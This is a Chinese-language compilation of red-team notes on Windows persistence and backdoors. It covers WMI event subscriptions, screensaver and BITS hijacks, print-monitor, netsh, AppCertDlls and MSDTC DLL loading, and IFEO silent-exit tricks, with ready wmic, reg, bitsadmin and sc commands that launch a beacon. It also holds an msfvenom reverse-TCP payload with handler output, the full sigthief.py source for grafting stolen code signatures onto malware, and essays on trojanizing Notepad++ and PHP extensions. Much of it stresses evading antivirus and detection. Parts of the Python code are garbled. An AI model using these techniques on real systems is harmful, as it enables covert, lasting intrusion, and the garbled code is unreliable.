此外还有一个有些相似的利用点——组策略。在启动脚本处可以执行cmd脚本或ps脚本从而执行任意命令,但由于命令行版本的组策略编辑器功能太过受限,就不再做展开(如果可以登录桌面的话直接去gpedit.msc去配置启动脚本即可持久化,且隐蔽性较高)
0x05 WMI
权限要求:未降权的管理员权限
我们可以认为WMI是一组可以直接与Windows操作系统交互的API,由于这是操作系统自带的工具,无需安装,因此也是权限维持的好帮手。
由于WMI的事件会循环执行,为确保不会无限弹shell,可以使用系统启动时间来限制(只要触发延时可以落在限定区间即可,有些机器启动慢因此起始时间调高些)。示例命令如下:
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""
由于时间区间的落点不一定相同,特定情况下有可能会出现多个beacon:
权限要求:普通用户。
虽然未必所有用户都会使用屏幕保护,但幸运的是屏幕保护程序的相关配置都在注册表中,如下图的四个键:
完整路径如下:
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
直接写入注册表即可:
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f
看一下进程树,winlogon.exe拉起来的,隐蔽性一般:
这里又有个小坑,如果从未设置过屏保程序的话,除“ScreenSaveActive”默认值为1,其他键都是不存在的,而屏保程序的正常运行必须保证这几个键都有数据才可以,因此必须把4个键都重写一遍。另外,经测试屏保程序最短触发时间为60秒,即使改成小于60的数值,依然还是60秒后执行程序。
当然,从注册表路径也可以看出这种方式只能获得当前用户权限的shell,优点是不需要提权即可维持。
0x07 后台智能传输服务(BITS)
权限要求:管理员权限(不必过UAC)
后台智能传送服务 (BITS) 可帮助传输大量数据而不会降低网络性能。它通过在小区块中传输数据、充分利用可用的但未使用的带宽和在目的地重组数据的方式来实现此操作。在 Microsoft® Windows Server 2003 家族操作系统上和 Microsoft® Windows 2000 上都支持 BITS。——摘自百度百科
网上的“渗透教程”中有很多利用bitsadmin命令下载文件或执行命令的操作,但它其实也可以用来做权限维持,并且可以绕过Autoruns的检测以及杀软的自启命令执行保护
添加任务的命令很简单,只有4条:
bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil
其有个优点是可以在降权的管理员回话中执行(不过UAC),当然得到的beacon也是降权的:
重启后由于任务并未结束,依然会被系统拉起,达到了持久化的目的。虽然后台智能传输服务的任务默认时长是90天,90天后任务自动取消,但对于红队来说这已经足够了:
看一下进程树,是“svchost.exe -k netsvcs
"拉起的。但由于是独立进程,隐蔽性一般:
这种方法可以绕过目前所有启动项检查工具,唯一检测方式是通过bistamin命令:
bitsadmin /list /allusers /verbose
可以看到所有任务如下(忘记截图,这是另一台测试机,数据不同):
0x07 后台打印程序服务
权限要求:未降权的管理员权限。
后台打印程序服务负责管理Windows操作系统中的打印作业,由于很多用户还是要使用打印机的,所以优化软件也不会推荐禁用这个服务。打印后台处理程序的API包含一个函数-AddMonitor,用于安装本地端口监视器并连接配置、数据和监视器文件。该函数会将DLL注入到spoolsv.exe进程以实现相应功能。
这些DLL都是包含与打印服务驱动相关的内容,那么我们也可以利用这个机制驻留一个恶意DLL,当然,和注册服务一样,这必须要未降权的管理员权限。
首先将恶意DLL放到C:\Windows\System32\路径下:
然后执行命令添加相关注册表项和Driver键:
reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ
重新启动后,恶意DLL则会被自动加载到spoolsv.exe,隐蔽性较强:
控制端以SYSTEM权限上线(这里演示暂时用的MSF,CS的DLL还要自己重写一个):
0x08 Netsh
权限要求:未降权的管理员权限。
netsh也是Windows自带的命令,是用来配置网络的命令行工具。该工具可以通过导入helperdll的方式实现功能,且DLL导入后会写进注册表,永久有效:
因此可以通过导入helperdll的方式做权限维持,命令格式如下:
netsh add helper [Absolute evil DLL path]
但是由于netsh并不会开启自启动,因此还要再写一条自启动项:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"
重新启动后依然可获得shell:
进程树和加载的恶意模块如下,隐蔽性较强:
但由于测试过程依然使用的是msf生成的DLL,启动netsh的时候会弹出黑框并阻塞,关掉netsh进程后连接也就断掉了,因此后续实战应用还需要自己写DLL。
0x09 AppCertDlls
权限要求:未降权的管理员权限。
众所周知注册表项“AppInit_DLLs”中的值会在user32.dll被加载到内存的时候被读取,若其中有值则调用API“LoadLibrary()”加载用户DLL。
早些年用这个做DLL注入式持久化比较流行,但如今在很多新系统上却失效了。其原因是由于kernel32.dll在启动时有一个标记位的判断,如下图:
kernel32.dll对0x67的Class进行NtQuerySystemInformation后,检查ReturnLength与2的运算是否为0(是否相等),若相等则不加载DLL直接ret。
关于0x67在网上可以查到相关资料:
它是由bcdedit.exe的“–set testsigning on/off”参数设置的,但现在比较新的机器一般都在BIOS中默认设置了secure boot,如果不关掉这个选项是无法修改上面的标记的。因此,这个方法目前局限性就比较大了。
然而其实还有一个注册表项不太常用,并且也能够自动加载DLL,那就是AppCertDlls。当进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW、WinExec这些API的时候,该项中的内容会被自动加载,而幸运的,是很多程序都会调用这些API。
msf上线:
看下进程树:
只是在正常进程下面开了个rundll32.exe,将恶意DLL加载,隐蔽性较高。
但使用msf的DLL依然只能做测试,由于系统的很多程序都会调用以上API(比如explorer.exe),而msf的DLL会导致进程阻塞,最终导致启动的时候进不去桌面,因此DLL还要之后自己写。
0x0A MSDTC
权限要求:未降权的管理员权限。
msdtc.exe是微软分布式传输协调bai程序。该du进程调用系统Microsoft Personal Web Server和Microsoft SQL Server。该服务用于管理多个服务器。
该服务启动后会尝试从System32加载三个DLL文件:oci.dll、SQLLib80.dll、xa80.dll。服务项如下:
对应注册表如下:
在默认的Windows安装中,System32文件夹中缺少oci.dll这个文件,在获得写权限的情况下可以在该文件夹下写入一个同名的dll,服务启动时执行恶意代码。
默认情况下,由于启动类型设置为“手动”,通过以下命令设置自启:
sc qc msdtc
sc config msdtc start= auto
恶意dll会被加载到msdtc.exe进程中执行,隐蔽性强:
0x0B 总结
一开始整理持久化技术的时候总共列了20种左右,但实践中发现很多持久化技术并是不通用的,例如针对特定场景,特定配置,特定应用的权限维持;甚至还有些是“被动”持久化,例如快捷方式的替换,排除利用快捷方式漏洞利用这条路,如果目标不去点是不会触发的。因此将那些局限性较大的持久化技术删掉以精简篇幅(减少工作量),最后将持久化技术精简到了以上10种,相对来说比较通用。
整理的过程中也发现一个Ring3中无奈的点:用户层的持久化如果想做到隐蔽性强且绕过杀软的行为检测,一定要借助Windows自带的功能(白利用),如果这些功能或模块在特殊环境中被关闭、卸载或无法正常启动就会很尴尬。因此多准备几种方法总还是很有用的。
由于时间关系,部分需要单独制作的DLL使用了msf直接生成的DLL进行测试,但免杀效果堪忧。后续制作CS插件的时候还需要再完成这些DLL并对其做一些免杀处理。
参考文章:
https://xz.aliyun.com/t/8095
专注APT攻击与防御
https://micropoor.blogspot.com/
Github:https://github.com/secretsquirrel/SigThief
简介:
在实战中,尤其是需要长期控制的目标,除免杀对抗安全软件以外,还需考虑人为无 意查看恶意文件,如数字签名是否拥有。而许多安全软件,又仅仅验证是否有签名,而非验 证签名是否有效。那么针对重要的目标,需要提前做多重对抗准备。
原始payload:
1 [root@John html]# msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOS T=192.168.1.104 LPORT=53 ‐f exe >tmp_rev53x_64.exe
2 [‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3 [‐] No arch selected, selecting arch: x64 from the payload
4 No encoder or badchars specified, outputting raw payload
5 Payload size: 510 bytes 6 Final size of exe file: 7168 bytes
1 msf exploit(multi/handler) > show options
2
3 Module options (exploit/multi/handler):
4
5 Name Current Setting Required Description
6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
7
8
9 Payload options (windows/x64/meterpreter/reverse_tcp):
10
11 Name Current Setting Required Description
12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)
14 LHOST 192.168.1.104 yes The listen address (an interface may be speci fied)
15 LPORT 53 yes The listen port
16
17
18 Exploit target:
19
20 Id Name
21 ‐‐ ‐‐‐‐
22 0 Wildcard Target
23
24
25 msf exploit(multi/handler) > exploit
26
27 [*] Started reverse TCP handler on 192.168.1.104:53
28 [*] Sending stage (206403 bytes) to 192.168.1.101
29 [*] Meterpreter session 2 opened (192.168.1.104:53 ‐> 192.168.1.101:32 56) at 2019‐02‐19 08:02:52 ‐0500
30
31 meterpreter >
1 [root@John html]# ~/SigThief/sigthief.py ‐i crashreporter.exe.ca ‐t tm p_rev53x_64.exe ‐o tmp_rev53x_64.ca.exe
2 Output file: tmp_rev53x_64.ca.exe
3 Signature appended.
4 FIN.
1 msf exploit(multi/handler) > exploit
2
3 [*] Started reverse TCP handler on 192.168.1.104:53
4 [*] Sending stage (206403 bytes) to 192.168.1.101
5 [*] Meterpreter session 3 opened (192.168.1.104:53 ‐> 192.168.1.101:32 59) at 2019‐02‐19 08:04:11 ‐0500
6
7 meterpreter > getpid
8 Current pid: 972
靶机查看:
世界杀毒网:原始payload VS 原始payload签名伪造
以上结果佐证,许多安全软件,仅仅是验证是否有数字签名,而不确认是否有效
后者的话:
该原始python在伪造证书时,需要注意2点:
原始证书文件需要对应目标机的机器版本以及位数,如目标机是Windows 2003,那么需要原始带证书文件也为Windows 2003的文件。包括第三方文件。
伪造证书后,例:在Windows 2003 开启验安全验证后,双击无法运行,也无报 错,需要命令行下执行即可。
附录:sigthief.py
#!/usr/bin/env python3
# LICENSE: BSD-3
# Copyright: Josh Pitts @midnite_runr
import sys
import struct
import shutil
import io
from optparse import OptionParser
def gather_file_info_win(binary):
"""
Borrowed from BDF...
I could just skip to certLOC... *shrug*
"""
flItms = {
}
binary = open(binary, 'rb')
binary.seek(int('3C', 16))
flItms['buffer'] = 0
flItms['JMPtoCodeAddress'] = 0
flItms['dis_frm_pehdrs_sectble'] = 248
flItms['pe_header_location'] = struct.unpack(', binary.read(4))[0]
# Start of COFF
flItms['COFF_Start'] = flItms['pe_header_location'] + 4
binary.seek(flItms['COFF_Start'])
flItms['MachineType'] = struct.unpack(', binary.read(2))[0]
binary.seek(flItms['COFF_Start'] + 2, 0)
flItms['NumberOfSections'] = struct.unpack(', binary.read(2))[0]
flItms['TimeDateStamp'] = struct.unpack(', binary.read(4))[0]
binary.seek(flItms['COFF_Start'] + 16, 0)
flItms['SizeOfOptionalHeader'] = struct.unpack(', binary.read(2))[0]
flItms['Characteristics'] = struct.unpack(', binary.read(2))[0]
#End of COFF
flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20
#if flItms['SizeOfOptionalHeader']:
#Begin Standard Fields section of Optional Header
binary.seek(flItms['OptionalHeader_start'])
flItms['Magic'] = struct.unpack(', binary.read(2))[0]
flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['SizeOfCode'] = struct.unpack(", binary.read(4))[0]
flItms['SizeOfInitializedData'] = struct.unpack(", binary.read(4))[0]
flItms['SizeOfUninitializedData'] = struct.unpack(",
binary.read(4))[0]
flItms['AddressOfEntryPoint'] = struct.unpack(', binary.read(4))[0]
flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
flItms['BaseOfCode'] = struct.unpack(', binary.read(4))[0]
if flItms['Magic'] != 0x20B:
flItms['BaseOfData'] = struct.unpack(', binary.read(4))[0]
# End Standard Fields section of Optional Header
# Begin Windows-Specific Fields of Optional Header
if flItms['Magic'] == 0x20B:
flItms['ImageBase'] = struct.unpack(', binary.read(8))[0]
else:
flItms['ImageBase'] = struct.unpack(', binary.read(4))[0]
flItms['SectionAlignment'] = struct.unpack(', binary.read(4))[0]
flItms['FileAlignment'] = struct.unpack(', binary.read(4))[0]
flItms['MajorOperatingSystemVersion'] = struct.unpack(',
binary.read(2))[0]
flItms['MinorOperatingSystemVersion'] = struct.unpack(',
binary.read(2))[0]
flItms['MajorImageVersion'] = struct.unpack(', binary.read(2))[0]
flItms['MinorImageVersion'] = struct.unpack(', binary.read(2))[0]
flItms['MajorSubsystemVersion'] = struct.unpack(', binary.read(2))[0]
flItms['MinorSubsystemVersion'] = struct.unpack(', binary.read(2))[0]
flItms['Win32VersionValue'] = struct.unpack(', binary.read(4))[0]
flItms['SizeOfImageLoc'] = binary.tell()
flItms['SizeOfImage'] = struct.unpack(', binary.read(4))[0]
flItms['SizeOfHeaders'] = struct.unpack(', binary.read(4))[0]
flItms['CheckSum'] = struct.unpack(', binary.read(4))[0]
flItms['Subsystem'] = struct.unpack(', binary.read(2))[0]
flItms['DllCharacteristics'] = struct.unpack(', binary.read(2))[0]
if flItms['Magic'] == 0x20B:
flItms['SizeOfStackReserve'] = struct.unpack(', binary.read(8))[0]
flItms['SizeOfStackCommit'] = struct.unpack(', binary.read(8))[0]
flItms['SizeOfHeapReserve'] = struct.unpack(', binary.read(8))[0]
flItms['SizeOfHeapCommit'] = struct.unpack(', binary.read(8))[0]
else:
flItms['SizeOfStackReserve'] = struct.unpack(', binary.read(4))[0]
flItms['SizeOfStackCommit'] = struct.unpack(', binary.read(4))[0]
flItms['SizeOfHeapReserve'] = struct.unpack(', binary.read(4))[0]
flItms['SizeOfHeapCommit'] = struct.unpack(', binary.read(4))[0]
flItms['LoaderFlags'] = struct.unpack(', binary.read(4))[0] # zero
flItms['NumberofRvaAndSizes'] = struct.unpack(', binary.read(4))[0]
# End Windows-Specific Fields of Optional Header
# Begin Data Directories of Optional Header
flItms['ExportTableRVA'] = struct.unpack(', binary.read(4))[0]
flItms['ExportTableSize'] = struct.unpack(', binary.read(4))[0]
flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
#ImportTable SIZE|LOC
flItms['ImportTableRVA'] = struct.unpack(', binary.read(4))[0]
flItms['ImportTableSize'] = struct.unpack(', binary.read(4))[0]
flItms['ResourceTable'] = struct.unpack(', binary.read(8))[0]
flItms['ExceptionTable'] = struct.unpack(', binary.read(8))[0]
flItms['CertTableLOC'] = binary.tell()
flItms['CertLOC'] = struct.unpack(", binary.read(4))[0]
flItms['CertSize'] = struct.unpack(", binary.read(4))[0]
binary.close()
return flItms
def copyCert(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Input file Not signed!")
sys.exit(-1)
with open(exe, 'rb') as f:
f.seek(flItms['CertLOC'], 0)
cert = f.read(flItms['CertSize'])
return cert
def writeCert(cert, exe, output):
flItms = gather_file_info_win(exe)
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack(", len(open(exe, 'rb').read())))
f.write(struct.pack(", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")
def outputCert(exe, output):
cert = copyCert(exe)
if not output:
output = str(exe) + "_sig"
print("Output file: {0}".format(output))
open(output, 'wb').write(cert)
print("Signature ripped. \nFIN.")
def check_sig(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
else:
print("Inputfile is signed!")
def truncate(exe, output):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
sys.exit(-1)
else:
print( "Inputfile is signed!")
if not output:
output = str(exe) + "_nosig"
print("Output file: {0}".format(output))
shutil.copy2(exe, output)
with open(output, "r+b") as binary:
print('Overwriting certificate table pointer and truncating binary')
binary.seek(-flItms['CertSize'], io.SEEK_END)
binary.truncate()
binary.seek(flItms['CertTableLOC'], 0)
binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
print("Signature removed. \nFIN.")
def signfile(exe, sigfile, output):
flItms = gather_file_info_win(exe)
cert = open(sigfile, 'rb').read()
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack(", len(open(exe, 'rb').read())))
f.write(struct.pack(", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")
if __name__ == "__main__":
usage = 'usage: %prog [options]'
parser = OptionParser()
parser.add_option("-i", "--file", dest="inputfile",
help="input file", metavar="FILE")
parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
help='rip signature off inputfile')
parser.add_option('-a', '--add', dest='addsig', action='store_true',
help='add signautre to targetfile')
parser.add_option('-o', '--output', dest='outputfile',
help='output file')
parser.add_option('-s', '--sig', dest='sigfile',
help='binary signature from disk')
parser.add_option('-t', '--target', dest='targetfile',
help='file to append signature to')
parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
help='file to check if signed; does not verify signature')
parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
help='truncate signature (i.e. remove sig)')
(options, args) = parser.parse_args()
# rip signature
# inputfile and rip to outputfile
if options.inputfile and options.ripsig:
print("Ripping signature to file!")
outputCert(options.inputfile, options.outputfile)
sys.exit()
# copy from one to another
# inputfile and rip to targetfile to outputfile
if options.inputfile and options.targetfile:
cert = copyCert(options.inputfile)
writeCert(cert, options.targetfile, options.outputfile)
sys.exit()
# check signature
# inputfile
if options.inputfile and options.checksig:
check_sig(options.inputfile)
sys.exit()
# add sig to target file
if options.targetfile and options.sigfile:
signfile(options.targetfile, options.sigfile, options.outputfile)
sys.exit()
# truncate
if options.inputfile and options.truncate:
truncate(options.inputfile, options.outputfile)
sys.exit()
parser.print_help()
parser.error("You must do something!")
https://xz.aliyun.com/t/6461
http://www.sins7.cn/summary-of-windows-persistence-backdoor-for-intranet-penetration/
https://www.freebuf.com/articles/system/229209.html
Rid_Hijack模块是一个关于后渗透阶段用来维持权限的模块…利用
https://xz.aliyun.com/t/2998
https://www.freebuf.com/articles/system/169925.html
映像劫持简介
映像劫持(Image File Execution Options),简单的说法,就是当你打开的是程序A,而运行的确是程序B。
映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“Dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序。
简单测试
映像劫持技术的利用,存在已久,这里再简单说明下:修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下sethc.exe,添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe
之后键入五下Shift执行sethc.exe程序时便会执行cmd.exe程序。
映像劫持后门新玩法
实现效果
键入五下Shift执行时,先执行sethc.exe程序,当sethc.exe程序静默退出时,执行CobaltStrike的Powershell,反弹Beacon shell 。
简单来说就是:程序A静默退出结束后,会执行程序B。
GFlages测试
文章地址:
https://link.zhihu.com/?target=https%3A//blogs.msdn.microsoft.com/junfeng/2004/04/28/image-file-execution-options/
下载gflags.exe
https://docs.microsoft.com/zh-cn/previous-versions/msdn10/gg463016(v=msdn.10)
根据微软的官方文档描述,在Silent Process Exit选项卡中的配置,都保存在注册表中。
GFlags工具自动添加并修改了“IFEO”目录下sethc.exe的GlobalFlag值
以及SilentProcessExit下ReportingMode和MonitorProcess两个值。
这时测试会发现,当键入五下Shift时,先执行sethc.exe程序,当sethc.exe程序静默退出时,便会执行cmd.exe程序。
这么一来,可以直接在命令行中对注册表进行设置。(需要管理员权限)
1
简单解释一下ReportingMode和MonitorProcess 这两个项值的作用。MonitorProcess的值表示监视器进程。Reporting Mode可以设置为三个值 。
FlagValue解释LAUNCH_MONITORPROCESS0x1检测到进程静默退出时,将会启动监视器进程(在GFLAGS.exe中,Silent Process Exit这个选项卡所填写的值,即MonitorProcess的项值)LOCAL_DUMP0x2检测到进程静默退出时,将会为受监视的进程创建转储文件NOTIFICATION0x4检查到进程静默退出时,将会弹出一个通知
与CobaltStrike结合利用
换位思考,用上述的方法,修改MonitorProcess值放入CobaltStrike的powershell。这样,可以在渗透中做到权限的维持,按五下Shift就可以隐蔽进行反连。
实测,Windows锁屏,键入五下Shift后正常弹粘滞键,关闭之后执行powershell代码,反弹beacon的shell
参考文章:
https://zhuanlan.zhihu.com/p/98526538
https://bypass007.github.io/Emergency-Response-Notes/privilege/第4篇:Linux权限维持--后门篇.html
https://cloud.tencent.com/developer/article/1553305
https://www.cnblogs.com/xiaozi/p/11798030.html ---Window权限维持(一):注册表运行键
书上的知识点很详细的介绍了,思路很清晰!!!
https://www.cnblogs.com/xiaozi/p/11797078.html
书上的知识点很详细的介绍了,思路很清晰!!!
https://www.cnblogs.com/xiaozi/p/11815957.html
书上的知识点很详细的介绍了,思路很清晰!!!
介绍了命令行方式添加服务、powershell形式添加服务、SharPersist添加服务进行、Metasploit服务维权模块进行权限维持讲解!!
开始Windows也简单介绍了…
当我们接到某个项目的时候,它已经是被入侵了。甚至已经被脱库,或残留后门等持续攻击洗库。
后渗透攻击者的本质是什么?
阻止防御者信息搜集,销毁行程记录,隐藏存留文件。
防御者的本质是什么?
寻找遗留信息,发现攻击轨迹与样本残留并且阻断再次攻击。
那么这里攻击者就要引入“持续攻击”,防御者就要引入“溯源取证与清理遗留”,攻击与持续攻击的分水岭是就是后渗透持续攻击,而表现形式其中之一就是后门。
1.后门的种类
本地后门:
如系统后门,这里指的是装机后自带的某 功能或者自带软件后门
本地拓展后门:
如iis 6的isapi,iis7的 模块后门
第三方后门:
如apache,serv-u,第三方软件后门
第三方扩展后门:
如php扩展后门,apache扩展后门,第三方扩展后门
人为化后门:
一般指被动后门,由人为引起触发导致激活,或者传播
2.后门的隐蔽性排行
本地后门>本地拓展后门>第三方后门>第三方扩展后门,这里排除人为化后门,一个优秀的人为化后门会造成的损失不可估计,比如勒索病毒的某些非联网的独立机器,也有被勒索中毒。在比如某微博的蠕虫等。
3.整体概括分类
主动后门,被动后门,传播型后门。
4.后门的几点特性
隐蔽,稳定,持久
一个优秀的后门,一定是具备几点特征的,无文件,无端口,无进程,无服务,无语言码,并且是量身目标制定且一般不具备通用性。
攻击者与防御者的本质对抗是什么?
增加对方在对抗中的时间成本,人力成本。
这里要引用百度对APT的解释:
APT是指高级持续性威胁。利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式,APT攻击的原理相对于其他攻击形式更为高级和先进,其高级性主要体现在APT在发动攻击之前需要对攻击对象的业务流程和目标系统进行精确的收集。
那么关于高级持续渗透后门与上面的解释类似:
高级持续渗透后门是指高级持续性后渗透权限长期把控,利用先进的后渗透手段对特定目标进行长期持续性维持权限的后攻击形式,高级持续渗透后门的原理相对于其他后门形式更为高级和先进,其高级性主要体现在持续渗透后门在发动持续性权限维持之前需要对攻击对象的业务流程和目标系统进行精确的收集并量身制定目标后门。
第一季从攻击者角度来对抗:
项目中一定会接触到溯源,而溯源最重要的环节之一就是样本取证与分析。既然是样本取证,也就是主要找残留文件。可能是脚本,dll,so,exe等。其次是查找相关流量异常,端口,进程。异常日志。
做为攻击者的对抗,无开放端口,无残留文件,无进程,无服务。在防御者处理完攻击事件后的一定时间内,再次激活。
这里要解释一下rootkit,它的英文翻译是一种特殊类型的恶意软件
百度百科是这样解释的:Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。
在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。
5.后门的生成
大体分为四类:
1.有目标源码
2.无目标源码
3.无目标源码,有目标api
4.无目标源码,无api,得到相关漏洞等待触发
结合后门生成分类来举例细说几个demo。
5.1 有目标源码
目前大量服务器上有第三方软件。这里以notepad++为例。
Notepad++是 Windows操作系统下的一套文本编辑器,有完整的中文化接口及支持多国语言编写的功能,并且免费开源。
开源项目地址:
https://github.com/notepad-plus-plus/notepad-plus-plus
Demo 环境:windows 7 x64,notepad++(x64)
Demo IDE:vs2017
在源码中,我们修改每次打开以php结尾的文件,先触发后门,在打开文件。其他文件跳过触发后门。
文件被正常打开。
优点:
在对抗反病毒,反后门软件中有绝对优势,可本地多次调试,稳定性强壮。跨平台能力非常强壮,并且可以对后门选择方式任意,如主动后门,被动后门,人为化后门等。
缺点:
针对性较强,需要深入了解目标服务器安装或使用软件。需要语言不确定的语言基础。在封闭系统,如Windows下多出现于第三方开源。
5.2 无目标源码
优点:
在对抗反病毒,反后门软件中有一定优势,稳定性良好,跨平台能力一般,并且适用于大多数可操作文件,同样可以选择对后门选择方式任意,如主动后门,被动后门,人为化后门等。
缺点:
稳定性不突出,在修改已生成的二进制文件,容易被反病毒,反后门软件查杀。
5.3 无目标源码,有目标api
目前大多数的Ms_server,内置iis,从windows2000开始,而目前国内市场使用03sp2,08r2为主。在win下又以iis为主,在iis中目前主要分为iis5.x ,iis6.x,大于等于iis7.x。iis7以后有了很大的变化,尤其引入模块化体系结构。iis6.x 最明显的是内置IUSR来进行身份验证,IIS7中,每个身份验证机制都被隔离到自己的模块中,或安装或卸载。
同样,目前国内市场另一种常见组合XAMP(WIN+Apche+mysql+php,与Linux+Apche+mysql+php),php5.x 与php7.x有了很大的变化,PHP7将基于最初由Zend开发的PHPNG来改进其框架。并且加入新功能,如新运算符,标记,对十六进制的更友好支持等。
Demo 环境:windows 7x86 php5.6.32
Demo IDE:vs2017
php默认有查看加载扩展,命令为php -m,有着部分的默认扩展, 而在扩展中,又可以对自己不显示在扩展列表中
以Demo.php为例,demo.php代码如下:
在访问demo.php,post带有触发后门特征,来执行攻击者的任意php代码。在demo中,仅仅是做到了,无明显的以php后缀为结尾的后门,那么结合第一条,有目标源码为前提,来写入其他默认自带扩展中,来达到更隐蔽的作用。
优点:
在对抗反病毒,反后门软件中有绝对优势,可本地多次调试,稳定性非常强壮。跨平台能力非常强壮,且可以对后门选择方式任意,如主动后门,被动后门,人为化后门等。
缺点:
在编译后门的时候,需要查阅大量API,一个平台到多个平台的相关API。调试头弄,失眠,吃不下去饭。领导不理解,冷暖自知。
第二季从防御者角度来对抗。
后者的话
目前国内市场的全流量日志分析,由于受制于存储条件等因素,大部分为全流量,流量部分分析。那么在高级持久性后门中,如何建立一个伪流量非实用数据来逃逸日志分析,这应该是一个优秀高级持续后门应该思考的问题。
https://cloud.tencent.com/developer/article/1497360
第二季
这次继续围绕第一篇,第一季关于后门:
《APT对抗(一) 红蓝对抗关于后门对抗》做整理与补充。再深入一步细化demo notepad++
后门是渗透测试的分水岭,它分别体现了攻击者对目标机器的熟知程度,环境,编程语言,了解对方客户,以及安全公司的本质概念。这样的后门才能更隐蔽,更长久。
而对于防御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病毒可隐藏角落,或样本取证,内存取证。
所以说后门的安装与反安装是一场考试,一场实战考试。
作为攻击者,要首先考虑到对抗成本,什么样的对抗成本。影响或阻碍对手方的核心利益。把概念加入到后门,更隐蔽,更长久。
文章的标题既然为APT对抗(二) 红蓝对抗关于后门对抗,那么文章的本质只做技术研究,Demo本身不具备攻击或者持续控制权限功能。
Demo连载第二季:
Demo 环境:windows 7 x64,notepad++(x64)
Demo IDE:vs2017
在源码中,我们依然修改每次打开以php结尾的文件,先触发后门,在打开文件。其他文件跳过触发后门。但是这次代码中加入了生成micropoor.txt功能。并且使用php来加载运行它,是的,生成一个txt。demo中,为了更好的演示,取消自动php加载运行该txt。
而txt的内容如图所示,并且为了更好的了解,开启文件监控。
使用notepad++(demo2).exe 打开以php结尾的demo.php,来触发microdoor。并且生成了micropoor.txt
而micropoor.txt内容:
